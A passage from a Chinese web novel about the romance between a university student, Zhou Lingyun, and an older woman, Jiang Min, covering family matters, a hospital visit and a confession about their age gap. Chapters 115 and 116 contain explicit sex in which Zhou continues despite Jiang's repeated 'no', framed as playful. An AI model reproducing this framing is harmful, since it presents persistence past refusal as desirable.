姜悯抓了抓自己的脑门,“好吧,我还是希望你能回来,就回来几天也可以,反正你最后也是要回学校的嘛。其实我还是挺在意自己在奶奶面前的形象,我不想让她觉得我对你很差,虽然确实很差……” “你对我很好。”周灵蕴打断她。 姜悯表情怔怔。 周灵蕴没想到姜悯会哭。 她的眼泪直直掉下来,快速从脸颊划过,滴进饭碗里。 周灵蕴放下筷子。 姜悯背过身去,餐桌椅与木地板磨擦,发出粗哑声响。 她手背胡乱抹着脸上的泪,含含糊糊,说没关系,你不用管我。 周灵蕴怎么可能不管。 同住一片屋檐下,同吃一个锅里的饭,她们早就是一家人了。 离开她,是为了看清自己,看清她;离开她,也是为了更好去爱她。 她对她的爱,只增不减。 周灵蕴起身走到桌子对面去,手按在姜悯肩膀,笨笨安抚,“不要哭了。” 姜悯捏起周灵蕴垂在身侧的另一只手的手腕,抬头泪眼朦胧望向她,“周灵蕴,你还讨厌我吗?” 其实我从来没有讨厌过你啊。 周灵蕴喉头哽咽了,鼻子也酸酸的。 “你不要讨厌我,可以吗?我有努力在改变的,我不会再像从前那样了,我有在成长的,真的,你相信我……” 周灵蕴感觉到姜悯的眼泪滴滴落在手背,滚烫 心一下一下,随呼吸抽痛起来。 猫二跟姜悯更亲。她本来躺在阳台垫子上睡大觉的,听见姜悯的哭声,一下爬起,“喵呜喵呜”着颠颠跑过来。 猫二腿短,先跳到椅子上,再从椅子跳到餐桌上,然后两只前爪撑在姜悯肩膀,抖动着长胡须,用湿漉漉的小鼻子碰她的脸颊。 “你来看我啦——”姜悯回头把猫二抱在怀里。 猫二很乖,不挣扎,非常关心姜悯,刺拉拉的小舌头不断舔她的手。 姜悯吸了下鼻子,“你不在家的时候,都是猫二在陪着我。” 周灵蕴给姜悯抽了两张纸擦鼻涕,“我知道。” 姜悯接过纸巾,说“谢谢”。 这天晚上,周灵蕴吃完饭,并没有立即离开小区,她一个人安静坐在人工湖旁边的长椅,心想姜悯还是太全面了。 六边形战士啊,软的硬的,骚的纯的,又哭又笑,面面俱全。 而她只是一个小孩。 小孩比不过大人,输掉,是理所当然的。 第113章 姜大炮二号 周灵蕴隔天上午跟店长说了辞职的事, 店长有些意外。 “不是说好上到月底吗?你们学校提前开学啦?” 周灵蕴想了想,说奶奶要来市里看病,她得陪护。 “我奶奶是农村的, 几乎一辈子没离开过大山,本来我上学就忙, 平时不多见, 现在她来城里看病,我不能丢她一个人。” 店长有点为难, “可现在很难招人了……” 周灵蕴正低头准备水果备料,“不过距离正式开学也没多久了吧,最近都没有新人来应聘吗?” 你这个店长是干什么吃的,一天天。 店长叹气, 说没有哇,“现在是最难招人的时候,学生都要准备返校了,唉——” 因着赵圆的关系,周灵蕴跟店长私交还算不错, 她“哎呀”一声, 蛮体恤人的样子, “那实在不行, 我还是上到月底吧。” 店长感激又愧疚,“那你奶奶呢?” 周灵蕴也知道这事不好办,她本不想让店长为难, 说还有姐姐和家里别的大人帮忙,脑中忽而灵光一现,她抬头望向天花板,“老太太一个人应该没问题的吧?倒也上过几天扫盲班。” “那, 那我再去网上发几篇帖子……”店长嘀嘀咕咕走开了。 周灵蕴中午去吃街对面的千里香小馄饨,坐店里跟姜悯打电话,她眉飞色舞的。 “我前面都是依着你教的说,后面是自由发挥,我当时小脑瓜灵机一动,嘿嘿,店长好愧疚啊,半夜坐起来恨不得扇自己两巴掌的程度。” 姜悯仰靠在老板椅,两腿搭桌沿,愉悦晃晃脚尖,她不住赞许点头,“不错不错,得我五分真传了。” 周灵蕴到底年纪小,四处看看,手捂住听筒压低嗓,“这么做是不是有点不厚道啊?” “有句老话怎么说……”姜悯故作神秘。 “怎么说?”周灵蕴虚心求教。 “人不为己,天诛地灭!”姜悯大叫。 周灵蕴恍然,立即作拜服状,“受教。” 说罢,二人齐声哈哈大笑。 兼职的事情很好解决,周灵蕴有备用方案。 她不可能把奶奶一个人丢医院的,她早盘算好了。大不了不干了,钱不要了。 就像姜悯说的,跟顾客在店里打起来又怎么样? 有人给她兜底。 叮嘱老板多放些紫菜和葱花,周灵蕴跟姜悯闲聊天,“要下楼去吃饭不。” 姜悯说不吃,保持身材,“晚上不是要陪你吃饭呢,中午吃了晚上就吃不下了。” 周灵蕴“啊”一声,“所以你现在每天只吃两顿饭?” 姜悯说一顿,“早上是黑咖。” 周灵蕴又是“啊”一声。 “不过已经好很多啦!你回来以后,我们每天一起吃饭,我吃得很香,体重回来了一些。” 姜悯语气欢快补充。 “所以你之前都没有好好吃饭吗?”周灵蕴眉心攒起忧虑。 “挺好,我瘦了十来斤呢。”姜悯语调愈加轻快活泼,“真是得来全不费工夫呀,之前想减肥怎么也减不下来,每天跟你在一起,胃口呀好得不得了,看到什么都想吃……” “你为什么不吃饭。”周灵蕴知道这话是故意说给她听的。 但姜悯确实瘦了。 “我吃不下。”姜悯答。 “那如果我一直不回来,你就一直不吃饭吗?”周灵蕴问。 姜悯说“吃呀吃呀”,“会吃的,要饿晕的时候,低血糖的时候会吃,不然早就死翘翘啦。” 还死翘翘啦,在演什么啊。 周灵蕴盯着自己面前那碗小馄饨,老板忘记给她放葱,但她懒得计较了。 “你要好好吃饭,你不能再那样了。” “我现在没有啦,我每天都有吃饭哦!你忘啦,我们最近每天都聚在一起吃晚饭。” …… “那今晚我做饭吧。”周灵蕴没忍住。 “你每天工作那么忙,下班还要饿着肚子给我做饭……而且你也好久没吃我做的饭了。” “你愿意给我做饭吗?” 姜悯话里的小心穿过手机听筒,周灵蕴耳朵酥麻麻的。 “我们换着做,也不能老是你做。”周灵蕴真有点恨自己了。 你就这么沉不住气?! “那我帮你备菜,我们一起做。” 周灵蕴挂断电话,想起那天姜悯坐在她大腿扭来扭去…… 姜老板的屁股确实是大不如前了,两个尖尖的骨头椎扎得她大腿疼。 周灵蕴吃完小馄饨,路边等红绿灯,又接到舒颖电话,询问她近况。 舒颖应该是从姜悯那知道了些什么。 周灵蕴如实回答,舒颖听完叹了口气,说挺好的,“都是好孩子,好好处吧。” “我姐都瘦了。”周灵蕴仍是忧心忡忡。 “姐,你有空多带我姐去吃吃饭吧,我姐说她一天只吃一顿饭,我担心她身体出问题。” “心机婊这人,故意讲给你听的。”舒颖说她就是为了博取你的同情心。 周灵蕴说我知道啊,“可她确实瘦了。” 顿了顿补充,“而且我姐确实是可怜嘛,博取同情心的前提不就是可怜,她真可怜才能博取到我的同情心是不是?姐你说是不是?” 舒颖“哦”了声,“拜拜,我要忙了。” 周灵蕴感觉难办。 店里的事情好解决,蛋挞那边呢?回去还不知道说她。 在姜悯那吃晚饭,拖延到晚上十点,周灵蕴出电梯的时候,正巧碰见梦真开门出来扔垃圾。 “欸?”梦真一愣,“回来啦。” 周灵蕴点点头,把姜悯准备的礼物送过去。 梦真扔完垃圾,接过周灵蕴手里的袋子,展开一看,竟然是台相机! 姜悯什么都想到了,梦真也想到了,“很贵吧,这是贿赂吗?” 周灵蕴笑了。 走到门口,她拉着梦真袖子,“姐姐帮我。” 梦真答应可以帮忙,“可她真的对你好吗?” 周灵蕴不假思索点头。 姜悯对她很好。 梦真笑眯眯看着她,没说话。 周灵蕴着急了,“她真的对我很好!” 梦真反握住周灵蕴的手,“你别急,我知道她对你很好,但我想听的不是你的回答,我是在看你的反应。” 梦真说,你刚才一点也没犹豫,你点头的时候特别用力。 “你可以欺骗别人,但不能欺骗自己,你的反应会说明一切。你内心是认可她的,她确实对你很好。” 周灵蕴要搬离蛋挞和梦真的房子了,她起先以为,跟蛋挞之间会有一场大战,可蛋挞的反应却完全在她意料之外。 蛋挞从房间取来一个相册,周灵蕴在相册里面看到很多照片,都是蛋挞拍的。她们十二三岁时候的照片,蛋挞全洗出来了。 有在光明学校的,梦真家的,万玉家的,县城的游乐场,以及周边的寺庙和古建筑等。 手机像素不好,画质也糊,或者当时用了什么怀旧滤镜,看起来很有年代感。 周灵蕴一张一张翻过去,不由想起很多小时候的事。 梦真把切好的水果放在面前,周灵蕴探身抓牙签罐的时候,不小心碰掉桌角的抽纸,她弯腰捡起,抬头,扒拉扒拉自己额角的碎头发,看到地板上摊着的蛋挞拼了一半的拼图,还有鞋柜旁边没来得及拆的品牌方寄来的几个大纸箱…… “唐书瑶,我们以前好穷。” 照片里的唐书瑶还化着夸张的大烟熏妆,斜剪的刘海像把菜刀挂在脑门上。 周灵蕴低头看看照片,又抬头看看现在的唐书瑶,“而且你以前好丑,我当时怎么会觉得你好看呢?甚至,我还觉得你很时尚,明明你玩的都是十几二十年前的东西,早过时了。” 蛋挞一下火了,她跳起来,“你好看!你以前更丑!你又穷又丑,你还特自卑,喜欢装作满不在乎其实在乎得特别明显,把背挺得比电线杆还直,做作死了!” 蛋挞说,她那个时候最讨厌的人就是周灵蕴,她觉得周灵蕴很装。 “小玉也是,傻的。你跟万玉,一个傻一个装,我真不想跟你们一起玩。” 但梦真跟万玉和周灵蕴是一个地方的人,梦真总要带着她们一起。 唐书瑶喜欢跟梦真玩,为了梦真,只好忍气吞声。 周灵蕴把蛋挞的化妆镜抓来,照一会儿脸,看一会儿照片。 蛋挞说:“你丫的命好。” 周灵蕴也觉得自己命好。 她一点没因为蛋挞的话生气,她知道蛋挞把这些照片拿出来是为什么。这家伙就是嘴硬。 “我觉得我长得挺漂亮的。”她被养得很好。 她被姜悯养得很好。 “而且我那个叫复古,时尚是一个轮回,你知道吗?”蛋挞很不服气补充。 周灵蕴突然想到怎么对付蛋挞了。 “所以其实那时候,你是喜欢真真姐的吧。” 蛋挞忽然变了脸色。 周灵蕴狡黠一笑,知道自己说中了。 “但是你很迷惑,你怎么会喜欢一个女孩子呢,你根本不敢相信,自己竟然是个同性恋,这太可怕了,如果让残废知道,他肯定天天在你耳朵边叨,说不要还要告诉你妈。” 周灵蕴其实一直觉得,蛋挞跟小哑巴更像是战友情。或者小哑巴根本就是蛋挞的挡箭牌,测试仪,她一定有过一段非常艰难且挣扎的时期。 很多细节,都是周灵蕴后来回想起的。 她们这几个人,只有梦真在县里上过学,假若没有梦真,她跟万玉根本没机会认识蛋挞。 周灵蕴忽而俯身逼近,睫毛快扫到蛋挞的脸。 “你不会是上学的时候就暗恋我们真真姐吧?嗯?一个人的兵荒马乱那么多年,怪不容易的。” 蛋挞一言不发。 半分钟后,突然爆发。 “你要走就走,谁拦着你了,我拦着你了吗?你走啊,去找姜大炮啊,这里没有人阻止你离开!” “哎——”周灵蕴掏掏耳朵,“干嘛那么大的火气。” “你就是姜大炮二号,你现在变得跟她一样坏。”蛋挞指着周灵蕴说。 第114章 她们皆因爱而恐惧 周灵蕴把洗好的衣服晾在阳台, 夏夜晚风暖而不燥,风里有湿漉洗衣液的清香,闻起来很安全。 她前阵子路过花卉市场, 买了盆月季,是蔷薇杆嫁接的果汁阳台棒棒糖, 花谢后感染了红蜘蛛, 差点死掉。 后来梦真把叶片全部剪光,喷了药, 最近又冒出许多新的芽点,嫩绿小叶舒展开,风中自在摇摆,生命力顽强。 周灵蕴抱着取下来的干衣服, 蹲在花盆面前看了很久。 她们学校也种了好些月季,学姐们说月季非常难养,是药罐子,虫大王,奈何实在美丽。 就像姜悯。 傲娇怪, 精咋叫唤, 烦死人了。奈何实在美丽。 周灵蕴有时真不知该拿她怎么办, 甚至恨不得跟她同归于尽, 心说干脆一起死了算了。 可姜悯真的很会,撒娇卖痴,示弱乞怜, 还用上美人计。 人真的会变吗? 会的吧。 大家都变了。 化超浓大烟熏玩过时非主流的蛋挞,现在走甜妹风,玩反差感,直播间连线时锐评各路男嘉宾颜值, 偶尔也帮助大家解决一些情感问题,指话没说两句就捞起拖鞋死命拍桌,大叫锁死。 当然她也经常被骂,直播间每天都有人说她是“杂耍”起家,跟小哑巴炒情侣CP,绑架残疾人牟利。 但她说没事,黑红也是红,有话题总比没话题的强。 真真姐呢,改了名字也改了命,终于想通不再给那一家老小当自动提款机,赚的钱知道自己留着,计划将来跟蛋挞一起买房。 她其实很聪明,对互联网非常敏锐,蛋挞的转型和现在的人设标签都是她一手打造。 万玉呢,那时候天天盼着毕业了跟她妈出去打工,说要学她妈年轻时候,穿皮裙抹口红,那么不爱学习的一个人,前阵子失恋,现在听说进学生会当官去了…… 至于小哑巴,嗯,其实没怎么变,还在网上活跃,跟人组情侣cp,只是对象换成了男的。 周灵蕴找蛋挞问过,“他真的假的啊!” “你说我真的假的?”蛋挞反问。 周灵蕴知道蛋挞跟梦真是真的,保真。她半夜起床上厕所,有听到过她们在床上的动静。 “那小哑巴也是真的?那他是一还是零?” “你打电话问问呗。”蛋挞说。 “不太好吧……”周灵蕴皱着鼻子,“我跟他又不熟。” 蛋挞笑了,“真真假假,重要吗?” 周灵蕴后来刷到小哑巴的视频,他好像可以说话了,只是说得不好,大舌头,含含糊糊的。 她点开评论区,大家都夸他励志,她恍然大悟,哦原来小哑巴现在走这个赛道了。 人真是复杂的生物。 姜悯真的变了吗?周灵蕴不知道,她们将来到底会怎么样?周灵蕴也不知道。 不了了之,无疾而终,得过且过,是生活常态。 但现在,周灵蕴可以确定的是,她还是喜欢姜悯的。 要说她自己的变化,当然也有。她还是想把更多的时间留给自己。 周灵蕴早上出门,去车站接奶奶,就挎了个帆布包,包里装纸巾、钥匙、充电器和耳机。 她站在门口换鞋,蛋挞正在卫生间对着镜子抹脸,奇怪跟出来,“你不收拾行李?” “收拾行李干嘛。”周灵蕴说她本来就没打算走,“我就过去住几天,陪奶奶。” 周灵蕴想了一晚上,“过几天就开学了,我从你这边过去近些,而且我不是还得继续给你当助理吗?帮你拍视频剪视频啥的。” 蛋挞抹完脸,把头顶的发箍取下来,手指顺顺刘海,“哦这样啊。” 周灵蕴换好鞋子,冲蛋挞挥手说“拜拜”。 “晚上一起吃饭吧,到时候我发地址,奶奶说想见见你们。” 周灵蕴计划是先去车站接到奶奶,然后打个车把奶奶送到姜悯家,再计划体检的事,可她才刚下楼就收到姜悯消息,说奶奶在医院了。 姜悯发来照片,是奶奶坐在医院走廊边的长椅,伸手笑嘻嘻冲她比“耶”。 周灵蕴打视频过去,“就到了?” 姜悯把手机转了一圈,周灵蕴还看到谷阿姨和姜叔叔。 “我爸开车把老太太送过来的,我妈有个同学是医院的副院长,老太太看病的事我们都安排好了,你不用操心。” 周灵蕴在手机里跟大人们逐一打过招呼,奶奶知道她在外面打暑假工,让她别来了,专心上自己的班。 “你悯悯姐姐厉害呢。” 挂断电话,周灵蕴站在小区外的马路边,有些发懵。 她果然还是太年轻了。 直到此刻她才惊觉,自己长这么大从未独自处理过就医事宜。 她只模糊想着要带奶奶看病,却完全没考虑过具体流程。 如果没有谷阿姨和姜叔叔,腿脚不便的奶奶该如何从老家坐车到县城,再转乘高铁来市里? 她的原计划跟姜悯的比起来好命苦,说出去都怕被人笑。 她承认自己的疏忽,继而想到,她疏忽这些问题的根本,是她潜意识觉得,姜悯会替她处理好一切。 她昨天跟店长说了辞职的事,但店长还没给准确回复,到底肯不肯放她走。 她整个人忙忙乱乱的,姜悯也没告诉她自己的计划…… 打车去医院的路上,天空突然下起雨。主城区车多路窄,车辆寸步难行,半路堵死,周灵蕴闷闷望着车窗外,人行道旁一家烤饼店门外有只小狸白猫,并腿蹲在檐下,一动不动。 像她一样,处理不好这个下雨的世界。 周灵蕴开始觉得烦。 每次都是这样。 每当她以为自己能独当一面时,总有意料之外的状况跳出来,无情揭示她的一无是处。 更深的挫败感汹涌袭来。 姜悯离开她会怎样?姜悯会自己做饭,总不至于饿死。 可离开姜悯,她仿佛真的会变成一个废人。 周灵蕴在路上堵了快两个小时,赶到医院已是午后。 雨还在下,势头稍缓,奶奶的所有检查项目做完,只需等待明后天结果。姜悯发了定位,她们在停车场等她,接她一同回去。 周灵蕴踩着积水跑来,裤脚溅满泥水,气喘吁吁,看到奶奶,她高兴之余,更多愧疚。她依旧什么忙也没帮上。 “乖宝来了。”奶奶拉着她手,怀里掏出块手绢给她擦额头,“都说了不用来的嘛,淋雨要长虱子的,出门也不知道带伞。” “回去洗就行。”周灵蕴细声。 她发现奶奶长胖了,脸蛋红扑扑圆嘟嘟,穿件新中式的刺绣米白褂子,脖子戴珍珠项链,福气得很。 怪不得高血压。 “胖了吧。”谷香岚凑来,笑盈盈的,献宝那意思,“现在必须得控制饮食了,都不给她吃肥肉,她喜欢吃得很,顿顿要吃。” “瘦肉塞牙。”老太太说。 周灵蕴忍不住笑。 “走吧先回家。”姜悯上车。 “走。”姜爸安排老太太坐姜悯的车,“路上跟孙女好好叙叙旧。” 周灵蕴中途发现路线不对,一问才知道,她们要去姜悯小时候住的地方,位于城郊的老别墅群。 是了,周灵蕴差点忘了,姜悯家好几套房子来着。 姜悯家不是小说里那种动辄百亿资产的商业巨鳄,但也不是她这种土生土长的乡下妹可以比的。 随着年岁的增长,周灵蕴越发清晰意识到她跟姜悯之间的贫富差距。 此刻,这种差距以如此具体的形式呈现在眼前。 周灵蕴心情复杂。 她拼命想逃离的,是多少人梦寐以求的?她真是好日子过够了。 老房子姜悯一早安排人打扫过了,房子里有厚重的老木头家具混杂清甜洗洁剂味道,她们说这次回来,想多住一阵,让姜悯和周灵蕴也搬过来一起住。 “房子大了,人少镇不住,晓得不?春梅收拾完那边,也得过来。”姜爸说。 这会儿雨停,太阳出来,奶奶心情很好,背着手跟谷香岚站在花园里说话,看院里姜悯七岁那年种的一棵桃子树,商量找长竹竿做个网兜摘桃子。 周灵蕴浑身汗涔涔,站门口张着嘴发呆,姜悯走过去撞撞她肩膀,“想什么?” “没想什么。”周灵蕴手背蹭了下鼻头的汗珠。 “去我小时候的房间看看吗?”姜悯邀请。 周灵蕴点头,随她上楼。 房子装修是二十多年前的豪华版老黄风,周灵蕴坐在盖着旧床单的床垫上,屁股颠几下,姜悯小时候睡的席梦思现在还是很软。 姜悯靠在窗台,听到楼下几个大人细碎的说话声,探头望了眼,看回周灵蕴。 “黎双家以前就住在附近不远的地方,后来她妈妈又生了个男孩,她们全家都移民了。” 周灵蕴“啊”了一声。 “所以如果我不去看她的话,这个世界上就真的没有人去看她,也没有人还记得她了。”姜悯又说。 周灵蕴抿了下嘴唇。 “她是我的好朋友,唯一的朋友,我不知道自己对她究竟是什么感情,因为她死了,我没办法再弄清楚那件事了。” 姜悯搓了搓手指,看起来像是想抽烟,她前阵子应该没少抽。 但周灵蕴没在她身上闻到过那种男人身上的烟臭味,她抽烟也是香的。 “或许是喜欢的吧?”姜悯歪了下头。 周灵蕴静静看着她,静静听她说着自己。 “但我现在很确定的一件事是,我喜欢的人是你,我没有把你当作任何人的替补,我保证。” 第一次,姜悯平心静气,坦然自若,没发疯没扮痴也没不正经。 只是有点老气横秋。 姜悯说,我快三十岁了,我不是一个喜欢折腾的人。 “虽然我看起来很能折腾,但其实不是。我是想跟你过一辈子的……” 说到这里,姜悯有点苦恼地搓了搓额头,你说你知道为什么吗?为什么吗? “因为你太年轻了,周灵蕴,你太年轻了让我觉得害怕。” “你那么年轻,那么有活力,那么健康,还很聪明,学什么都快,打游戏也很厉害,我看到你身上全是优点,我真的很害怕。” 有风,送来一片微黄的树叶,落在窗台,姜悯伸手捡来,指尖把玩,左右摇头,肩头长发垂落,遮挡住脸。 “有几个瞬间,我是真的想把你赶走的。” 周灵蕴心尖抽痛一下,不由屏住呼吸。 “我总担心,你将来会离开我,嫌我老或者别的什么,所以我想,不如就趁现在。” 她抬手将树叶放飞,“趁着,我还没有那么离不开你的时候……” 趁着我还没那么离不开你,趁着我还有余力修复自己。 因为太害怕失去。 姜悯终于说出来了,为什么。 她们皆因爱而恐惧。 第115章 就要乱来 这简直是危言耸听! 周灵蕴当时一下就跳起来了, 她大声为自己辩解,“我怎么可能会嫌你老!” 周灵蕴终于知道问题所在了,她觉得必须得好好说道说道了。 她重复了三遍“我怎么可能会嫌你老”。 “我还担心你嫌我小呢, 我小你那么多岁,没钱没势, 又笨又呆, 每天吃你喝你用你,我对你的需求显然是大于你对我的需求的呀, 我怎么会嫌弃你呢?” 周灵蕴费解。 姜悯紧紧锁着眉,表示不能认同。 “可事实就是这样,我就是比你老。而且而且,我会越来越老, 等你长到我这个岁数,我都快……” 姜悯傻傻张嘴望天三秒,双手抱头,崩溃大叫,“天呐, 那时候我都快四十岁了。” “四十怎么了, 四十怎么了?”周灵蕴像颗弹簧球咚一下跳到姜悯面前, “如果四十岁真的很老的话, 为什么我们要等到五六十岁才能退休?” 周灵蕴激动挥舞手臂,在房间来回踱步,声音带着点夸张的哭腔, “哇!你想过没,即便你已经到了四十岁,你还得再辛辛苦苦上将近二十年的班才能退休呢!而我比你惨多了……” 她猛地驻步,脚尖一旋, 转身面对姜悯。 “等到你五六十岁,功成身退,可以在家悠闲养花逗鸟的时候,我还要每天早起,哭唧唧挤地铁上班干活呢!” 她继续在房间兜圈,语气越来越激动,那个悲惨的未来此刻是如此清晰而具体。 “天啦噜!我做什么都比你晚一步,上学和工作,甚至变老,退休!按这个逻辑,该崩溃的不应该是我吗?我才是一直在后面拼命追,还总是追不上的那个啊!” “啊?啊?” 周灵蕴又一下冲到姜悯面前,双手握住她肩膀,前后摇晃,“你说呢,你说呀,你说是不是这个道理,啊?” 姜悯被周灵蕴这一连串又快又急角度清奇的反问给镇住了,她竖起一根手指,“停!停!” 周灵蕴停止摇晃,却并未后撤。 其实,她每一个动作都是精心设计过的,她故意摆出夸张的姿态,就为了此刻。 为了顺理成章站到姜悯面前,呼吸可闻的距离。 “难道不是吗?”周灵蕴追问不休。 她微微屈膝,让自己的视线与姜悯平行,俏皮歪过脑袋,眨眼。 太近,少女甜润气息侵袭,姜悯竟然也会害羞,抿唇笑,偏过脑袋。 “看着我。”周灵蕴道。 姜悯轻轻“嗯”了声,“你说的也有道理。” “你看着我说。”周灵蕴声音忽然有点哑。 心脏一下一下,跳动缓慢而笨重,姜悯顺从摆正脑袋,视线仍低垂,落在周灵蕴白色棉T有点发卷的领口。 已经立秋,上午才下过雨,夏日残余暑熇不减,潮湿水汽更添溽热,少女年轻健康的身体是永不熄灭的小火炉,那么近的距离,一刻不停炙烤着她。 姜悯有些口渴。 “原来你是担心我嫌你老啊——”周灵蕴感觉到了姜悯的紧张。 像神话故事里某种邪恶的,以人情绪为食的祸祟,从她的胆怯瑟缩中,获得养分逐渐壮大自己,周灵蕴缓缓拉近两个人之间的距离,鼻尖若有似无挨蹭过她的脸,“那你还不对我好点。” 皮肤上细微的绒毛之间,似乎有蓝紫色电流窜动,姜悯双肩微耸,侧头,屏住呼吸,“别靠那么近。” “躲什么?”周灵蕴不满捏住她下颌,态度颇为强硬,使得她被迫抬起脸,花瓣一样粉嫩的嘴唇完全暴露在视线内。 “不是你脱个半光坐我怀里扭着屁股勾引我的时候了?” 周灵蕴有点好笑,“还会害羞,不可思议。” “你别乱来。”姜悯焦急蹙眉,两眼紧张乱瞟,“我妈还在楼下呢,你看不见?” “那又怎样。”姜悯越害怕,周灵蕴越兴奋。 她一手撑墙,一手撑窗,姜悯圈在怀里,玩兴起,“她们一早就知道我们睡了。” “黏黏啊,不要离窗户那么近,这边房子窗户太矮了。”楼下谷香岚女士仰头大声叮嘱。 “会被看到!”姜悯往前半步。可她没想到周灵蕴竟是打定主意不退不让。 她嘴唇擦过她下颌。 这下不得了。 “你干嘛亲我?”周灵蕴故作不解,“不是要赶我走吗,现在又上赶着,很矛盾啊你这人。” 羞恼至极,姜悯捏拳打她一下,按着她肩膀往外推,“让开你!” 非但不让,周灵蕴扯过她手臂,按在窗框与墙之间的夹角,俯身咬了一下她的嘴唇。 “你想不想我。”周灵蕴有一下没一下地亲她,她唇瓣过分柔软的触感,惹得浑身血直往脑袋冲,她手掌迅速且自然滑入她下摆,把控着腰肢,“是装出来的吗?想我明明就想得快要疯掉,还装纯情,不停把我往外推。” 热气烘得人浑身骨头软,姜悯小腿打颤,后背贴着墙往下滑。周灵蕴手臂迅速一紧,将她按在怀。 隔着层薄薄的裙布,姜悯猛地一缩,紧张捏住周灵蕴手腕,“要在这里?” 周灵蕴热烘烘的脑袋在她肩窝拱来拱去,含糊着“嗯”了声。 姜悯斩钉截铁道“不行”。 周灵蕴不管,自顾忙碌,手段强硬,却装得委屈,软绵绵“哼”一声,“可我真的很想你。” 她的气息,她的体温,她皮肤表面微微渗出的一层薄汗,她凌乱带有香气的发丝,一切都那么令人着迷。 是的,就在这里,光天化日之下,在她小时候住过的房子里。 有嫉妒吧,这房间那人来过,这张床那人也睡过,她们是挚友,她们会牵手,拥抱,深夜互相安慰,依偎着入眠…… 姜悯说,搞不懂对那人是什么感情,或许是有喜欢的吧,只是那时候太小,懵懵懂懂。 周灵蕴理智知道不应该因为这些吃醋,可她脑袋当时“嗡”一声,快炸了。 是,很没道理的事,可她就是嫉妒,就是不爽。 相当不爽。 “万一待会儿有人上楼……”姜悯一颗心提到嗓子眼,“你反锁门了吗?” 内衣带子松垮垮挂在肩膀,心口湿漉一片还被咬得有点疼,她整个人乱七八糟的,动作言语表示不要,却无法控制自己的身体,一汩汩往外涌,底下潮乎乎。 “没反锁。”周灵蕴脑袋里迅速过了遍周围场景,忽又想到什么,“你小时候是每逢打雷下雨都会躲到柜子里吗?” 姜悯一紧,“你想干嘛?你别乱来。” 周灵蕴把姜悯扯到柜子里。就要乱来。 衣柜到顶,柜里空间很大,姜悯上大学的时候放假偶尔到这边住,挂衣区有她留下的几件夏装,里内满是老木柜混着樟脑丸的气味。 周灵蕴不能在柜里站直,稍驮着肩,把姜悯按在柜子靠墙那面揉。 连衣裙后背拉链拉了一半,裙子挂在腰,姜悯双手折叠抵按在周灵蕴肩膀,在她怀里压着嗓高高低低一阵哼。 姜悯没想到,真就说什么来什么,弄到一半听到周灵蕴贴着她耳朵说“人来了”。 “谁?”她警惕一滞。 “黏黏?”她妈敲门,问你们在里面吗? 姜悯死咬嘴唇,不发出一点声音。 周灵蕴加快速度。 “黏黏?猫猫?”又是两声叩门响。 周灵蕴手隔着布料往里稍进了半寸。粗糙强硬,姜悯被蜇痛一瞬,喉咙推挤出难耐的哼吟。 “吱扭——”门开。 谷香岚探头张望,“咦,人呢,刚还在楼下看到。” 门大敞着,脚步声渐远,楼下隐约说话声传来,她们没放弃找竹竿打桃子。 姜悯在周灵蕴怀里打着颤到了。 缓了半分钟,周灵蕴打开衣柜推拉门,半是牵半是抱把姜悯安顿在床头,然后才走过去把门关了。 这次没忘反锁。 可现在反锁有什么用呢,姜悯翻了个白眼。 周灵蕴坐到姜悯身边,偏过脸,盯着她看了会儿,然后抬起手臂,闻了下手指的气味。 没眼看,姜悯扭动脖子,额头抵在墙。 周灵蕴把手送到她鼻端,“你想闻闻自己的气味吗?” 姜悯一巴掌拍掉,“你有病啊?” 周灵蕴笑着,“你有药啊。” 她不住地闻,似乎极其着迷那气味,姜悯被她弄得脸红,捏拳打她一下,“在外跑一天,都没洗。” 能好闻吗? “我喜欢。”周灵蕴诚恳。 说得姜悯愈发好奇,“什么味道。” “你闻一下不就知道了。”周灵蕴坏笑。 姜悯羞愤欲死,恨不得以额撞墙。 就多余问! “可我真的很喜欢。”周灵蕴鼻梁拱进她肩窝蹭,在她耳边小声说话,“我还想吃,想舔。” 浑身一个激灵,姜悯没忍住骂了句脏话。 “周灵蕴,你怎么是这种人?你才多大就能说出这种话。” 以后了得? 周灵蕴发现了,姜悯这人就是弹簧,你强她就弱,你弱她就强。 “那我不都跟你学的,言传身教,你说我是哪种人,你问自己啊,你是哪种人。是谁只穿个围裙光屁股坐我怀里扭,一脸欠X的样子。” “滚吧你。”忍无可忍,姜悯一把推开她。 周灵蕴假装吃痛,捂着胸口“啊”一声倒在床垫。 姜悯理好裙子,打算去卫生间洗一下。 她走出两步,回头看了眼周灵蕴,原地站定思索两秒,然后弯腰把内裤脱了。 她迅速走回周灵蕴身边,小布团把团把,咬着后槽牙往周灵蕴嘴里塞。 “呜呜”摇头挣扎,周灵蕴撑身坐起,拽出嘴里的东西,她低头看清,不由大惊,“干嘛?” “你不是要吃?给你吃。”姜悯挑衅扬眉—— 作者有话说:吃吃吃吃吃吃让她吃 第116章 既然要追求刺激………… 好啊。 既然要追求刺激, 那就贯彻到底喽—— “那你真空啊?”周灵蕴还是好心提醒她。 “你管得着吗?”姜悯回呛,扭头进了卫生间。 这边房子挺长时间没来住,柜子里的沐浴露和洗发露也不知过期没有, 姜悯找了一圈没找到生产日期,懒得管, 脱了裙子打算简单冲个凉。 周灵蕴坐在外间床上, 听见哗哗水声,起身探头望了眼, 不由笑了。 这人没关门。 周灵蕴摸摸鼻子,走门边大声朝里喊。 “喂,你洗澡不关门的呀!” 姜悯回头,“哦”一声, 装得蛮像那么回事,“你帮我关下。” 啧—— 周灵蕴忍着笑,“不合适吧。” “怎么?”姜悯关掉花洒,拧眉往后看。 “我说,不合适。”周灵蕴靠在墙边, “小时候不懂事嘛, 现在长大了, 还不知道避嫌呐?” 避嫌?姜悯一下怒了, “你避个鸡毛嫌,刚是谁把我拽到衣柜里,上下其手。” “上下其手不是用来形容那个的。”周灵蕴清清嗓子, 摆出老师架势,“‘口大口小,上下其手’是一句谚语,指古时官僚互相勾结舞弊, 跟黄色半毛钱关系都没有好吧。” 多读了几本书看给她狂的,都不知天地为何物了。 姜悯忍不住翻个白眼,“我就要说上下其手怎样,字面意思看就是很黄嘛。” 她歪理一套一套,“什么‘口大口小’,不就是说上面的口大,下面的口小,当然无论口大口小,都得用手,当然口也没问题,不过这里要细分一下,有大口对大口,还有大口对小口,甚至小口对小口也是很不错的……” 她说得自己都信了,末了还叹口气,颇为自得,“欸,中华文字真是博大精深,我也是蛮有智慧的,这都能想到。” 周灵蕴屈膝半跪,手撑墙,笑到肚子疼。 “不过周灵蕴。”里头姜悯喊。 “啊?”周灵蕴应声。 “我们好像还没试过小口对小口。”姜悯唠家常的口气。 周灵蕴笑音戛然而止,整个人定在那,眼神开始发直,脑袋里出现一些马赛克画面。 